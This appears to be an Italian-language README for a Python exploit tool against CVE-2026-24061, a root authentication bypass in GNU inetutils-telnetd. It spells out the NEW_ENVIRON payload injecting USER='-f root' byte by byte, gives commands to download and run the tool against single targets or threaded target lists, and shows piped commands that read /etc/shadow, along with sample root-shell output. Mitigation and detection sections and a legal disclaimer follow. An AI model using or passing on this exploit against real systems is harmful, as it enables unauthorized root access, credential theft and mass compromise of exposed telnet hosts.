CVE-2026-24061

GNU inetutils-telnetd - Bypass dell'autenticazione remota

Uno strumento di ricerca sulla sicurezza per lo sfruttamento di CVE-2026-24061, una vulnerabilità critica di bypass dell'autenticazione remota in GNU inetutils-telnetd che consente l'accesso immediato a una shell di root senza autenticazione.

Table of Contents

• Riepilogo della vulnerabilità
• Versioni interessate
• Analisi tecnica
• Prerequisiti
• Installazione
• Utilizzo
• Riferimento dell'output
• Metodologia di sfruttamento
• Mitigazione e rimedio
• Indicatori di compromissione
• Disclaimer legale
• Riferimenti
• Crediti

Riepilogo della vulnerabilità

Riepilogo esecutivo

Esiste una vulnerabilità critica in GNU inetutils-telnetd fino alla versione 2.7 che consente a utenti remoti non autenticati di bypassare completamente l'autenticazione e ottenere immediato accesso a una shell di root. La vulnerabilità viene sfruttata tramite l'opzione telnet NEW_ENVIRON iniettando una variabile d'ambiente USER appositamente predisposta con il valore "-f root", che aggira tutti i meccanismi di autenticazione.

Valutazione dell'impatto

• Riservatezza: Compromissione completa dei dati di sistema
• Integrità: Controllo totale del sistema con privilegi di root
• Disponibilità: Possibile acquisizione completa del sistema o denial of service
• Scope: Invariato - lo sfruttamento interessa solo il servizio telnet vulnerabile

Versioni interessate

Analisi tecnica

Causa principale della vulnerabilità

La vulnerabilità ha origine dalla convalida impropria della variabile d'ambiente USER nel gestore dell'opzione NEW_ENVIRON di telnetd. Durante l'elaborazione dell'opzione telnet NEW_ENVIRON, il servizio telnetd non riesce a sanificare il valore della variabile USER prima di passarlo al processo di login. Impostando USER su "-f root", l'attaccante inietta argomenti da riga di comando che forzano il successo dell'autenticazione per l'utente root senza richiedere credenziali.

Vettore d'attacco

1. L'attaccante si connette al servizio telnetd (tipicamente porta 23)
2. Durante la negoziazione delle opzioni telnet, il server richiede i dati NEW_ENVIRON
3. L'attaccante risponde con la variabile d'ambiente USER impostata su "-f root"
4. L'argomento dannoso aggira i controlli di autenticazione
5. Viene concessa immediatamente una shell di root senza alcuna richiesta di password
6. Si ottiene la compromissione completa del sistema

Complessità dello sfruttamento

• Prerequisiti: Accesso di rete al servizio telnetd di destinazione
• Autenticazione: Non richiesta
• Interazione dell'utente: Nessuna
• Complessità dell'attacco: Bassa

Prerequisiti

Requisiti di sistema

• Python 3.7 o superiore
• Connettività di rete verso le istanze telnetd di destinazione
• Permessi sufficienti per eseguire script Python

Dipendenze

Tutte le dipendenze fanno parte della libreria standard di Python:

Installazione

Metodo 1: Tramite Git

# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# Run the exploit
python3 main.py -u <target_ip>

Metodo 2: Download diretto

# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Make it executable (Linux/macOS)
chmod +x main.py

# Run the exploit
python3 main.py -u <target_ip>

Metodo 3: Installazione manuale

# Ensure Python 3.7+ is installed
python3 --version

# Download and run
python3 main.py -u <target_ip>

Utilizzo

Interfaccia a riga di comando

Usage:
    python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
    python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
    echo "commands" | python3 main.py -u <target_ip>

Arguments:
    -u          Single target IP address or hostname
    -l          Path to file containing target IPs (one per line)
    -p          Target port (default: 23)
    -usr        User to exploit as (default: root)

Sfruttamento di un singolo target

Sfrutta una singola istanza telnetd:

# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100

# Custom port
python3 main.py -u 192.168.1.100 -p 2323

# Different user
python3 main.py -u 192.168.1.100 -usr admin

Modalità di esecuzione dei comandi

Esegui comandi in modalità non interattiva:

# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

Sfruttamento di più target

Sfrutta più target da un file:

python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin

Formato del file dei target (targets.txt):

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

Note:

• Un target per riga
• Indirizzi IP o nomi host
• Le righe vuote vengono ignorate
• I target vengono sfruttati contemporaneamente tramite threading

Riferimento dell'output

Indicatori di stato

Output di esempio

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Metodologia di sfruttamento

Processo di negoziazione del protocollo telnet

Lo strumento sfrutta la fase di negoziazione del protocollo telnet:

1. Connessione iniziale: Connessione TCP stabilita alla porta di destinazione
2. Negoziazione delle opzioni: Il server invia comandi DO/WILL per varie opzioni telnet
3. Accordo TTYPE: Il client accetta di inviare il tipo di terminale (WILL TTYPE)
4. Accordo TSPEED: Il client accetta di inviare la velocità del terminale (WILL TSPEED)
5. Accordo NEW_ENVIRON: Il client accetta di inviare le variabili d'ambiente (WILL NEW_ENVIRON)
6. Sub-negoziazione: Il server richiede le variabili d'ambiente (SB NEW_ENVIRON SEND)
7. Iniezione del payload: Il client invia USER="-f root" nella risposta NEW_ENVIRON
8. Bypass dell'autenticazione: Il server elabora la variabile USER dannosa
9. Accesso alla shell: Shell di root concessa senza autenticazione

Struttura del payload

# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39

payload = bytes([
    255,        # IAC
    250,        # SB
    39,         # NEW_ENVIRON
    0,          # IS
    0,          # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
    255,        # IAC
    240         # SE
])

Gestione della sessione interattiva

• Multiplexing dell'input: Utilizza select.select() per il monitoraggio simultaneo di socket e stdin
• I/O non bloccante: Socket configurato per operazioni non bloccanti
• Elaborazione telnet: Le sequenze IAC vengono rimosse dall'output per una visualizzazione pulita
• Gestione del timeout: Timeout di 30 secondi per l'esecuzione dei comandi

Mitigazione e rimedio

Azioni immediate

1. Disattivare telnetd: Arrestare e disabilitare immediatamente il servizio telnetd

   root@kitploit:~

   # systemd-based systems
   sudo systemctl stop telnetd
   sudo systemctl disable telnetd
   
   # xinetd-based systems
   sudo service xinetd stop
   sudo chkconfig telnet off
   

2. Regole del firewall: Bloccare la porta telnet (23) a livello di firewall

   root@kitploit:~

   # iptables
   sudo iptables -A INPUT -p tcp --dport 23 -j DROP
   
   # firewalld
   sudo firewall-cmd --permanent --remove-service=telnet
   sudo firewall-cmd --reload
   

3. Isolamento di rete: Rimuovere il servizio telnet dai sistemi esposti a Internet

   • Utilizzare esclusivamente segmenti di rete interni
   • Implementare liste di controllo degli accessi di rete (ACL)

Raccomandazioni a lungo termine

Soluzioni alternative

Utilizzare SSH al posto di Telnet:

# Install OpenSSH server
sudo apt-get install openssh-server  # Debian/Ubuntu
sudo yum install openssh-server      # RHEL/CentOS

# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd

Verifica dopo la mitigazione

# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23

# Should return no results if properly disabled

Indicatori di compromissione

Analisi dei log

Esaminare i log di sistema per i seguenti modelli:

Log di autenticazione:

# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure

# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log

Log di rete:

• Connessioni telnet da indirizzi IP inattesi
• Connessioni alla porta 23 al di fuori dell'orario operativo normale
• Molteplici connessioni rapide al servizio telnet

Reperti di sistema

• Processi inattesi in esecuzione come root
• File di configurazione di sistema modificati
• Account utente non autorizzati
• Nuove chiavi SSH in /root/.ssh/authorized_keys
• Cron job o attività pianificate sospette

Indicatori di rete

• Connessioni in uscita dal processo del servizio telnet
• Esfiltrazione di dati verso host esterni
• Connessioni reverse shell
• Attività di scansione delle porte proveniente dal sistema compromesso
• Tentativi di movimento laterale verso altri sistemi interni

Comandi di rilevamento

# Check for active telnet connections
sudo netstat -antp | grep :23

# Review recent root logins
sudo last | grep root

# Check for modified system files
sudo rpm -Va  # RHEL/CentOS
sudo debsums -c  # Debian/Ubuntu

# List processes by root
sudo ps aux | grep root

# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys

Disclaimer legale

IMPORTANTE: LEGGERE PRIMA DELL'USO

Questo strumento è fornito esclusivamente per:

• Valutazioni di sicurezza autorizzate e test di penetrazione
• Scopi educativi e di ricerca in ambienti controllati
• Operazioni di sicurezza difensive con la dovuta autorizzazione
• Valutazione delle vulnerabilità di sistemi di tua proprietà o per i quali hai esplicito permesso di test

Usi proibiti:

• Accesso non autorizzato a sistemi informatici o reti
• Sfruttamento di sistemi senza il consenso scritto esplicito del proprietario
• Qualsiasi attività che violi leggi locali, statali, federali o internazionali
• Attività dannose o compromissione non autorizzata di sistemi

Responsabilità: Gli autori, i collaboratori e i distributori di questo software non si assumono ALCUNA responsabilità per usi impropri, danni o attività illegali condotte con questo strumento. Gli utenti sono gli unici responsabili di:

• Garantire la conformità a tutte le leggi e i regolamenti applicabili
• Ottenere la corretta autorizzazione prima di condurre test di sicurezza
• Qualsiasi conseguenza derivante dall'uso o dall'abuso di questo software

Avviso legale: L'accesso non autorizzato a sistemi informatici è un grave reato penale. Le violazioni possono comportare azioni penali ai sensi di:

• Computer Fraud and Abuse Act (CFAA) - Stati Uniti (18 U.S.C. § 1030)
• Computer Misuse Act 1990 - Regno Unito
• Direttiva dell'Unione Europea sugli attacchi ai sistemi informativi
• Legislazione analoga in altre giurisdizioni nel mondo

Le sanzioni possono includere la reclusione, multe sostanziali e responsabilità civile.

Utilizzando questo strumento, dichiari di aver letto, compreso e accettato di rispettare questo disclaimer e tutte le leggi applicabili.

Riferimenti

Risorse ufficiali

• Homepage di GNU Inetutils
• Documentazione di GNU Inetutils

Informazioni sulla vulnerabilità

• NVD - CVE-2026-24061
• Registro CVE di MITRE
• Divulgazione OpenWall (20 gen 2026)
• Discussione OpenWall (20 gen 2026)
• Aggiornamento OpenWall (22 gen 2026)

Documentazione correlata

• CWE-88: Neutralizzazione impropria dei delimitatori di argomenti
• Specifica del protocollo Telnet (RFC 854)
• Opzione ambiente Telnet (RFC 1408)
• OWASP Command Injection

Best practice di sicurezza

• Linee guida NIST per l'accesso remoto
• CIS Benchmarks
• Risorse di sicurezza SANS

Crediti

• Autore dell'exploit: IRIS C2 Team
• Framework: Parte del framework HGrab
• Scoperta: Comunità di ricerca sulla sicurezza
• Divulgazione: Collaboratori della mailing list OpenWall

Registro delle modifiche

Supporto e contatti

Per domande, problemi o contributi:

• Issues: Segnala bug o richiedi funzionalità tramite GitHub Issues
• Sicurezza: Segnala le vulnerabilità in modo responsabile ai manutentori
• Contributi: Le pull request sono benvenute

Licenza

Questo progetto è fornito così com'è esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. Non viene fornita alcuna garanzia, esplicita o implicita. Usalo a tuo rischio e in conformità con tutte le leggi e i regolamenti applicabili.

USARE SOLO CON LA DOVUTA AUTORIZZAZIONE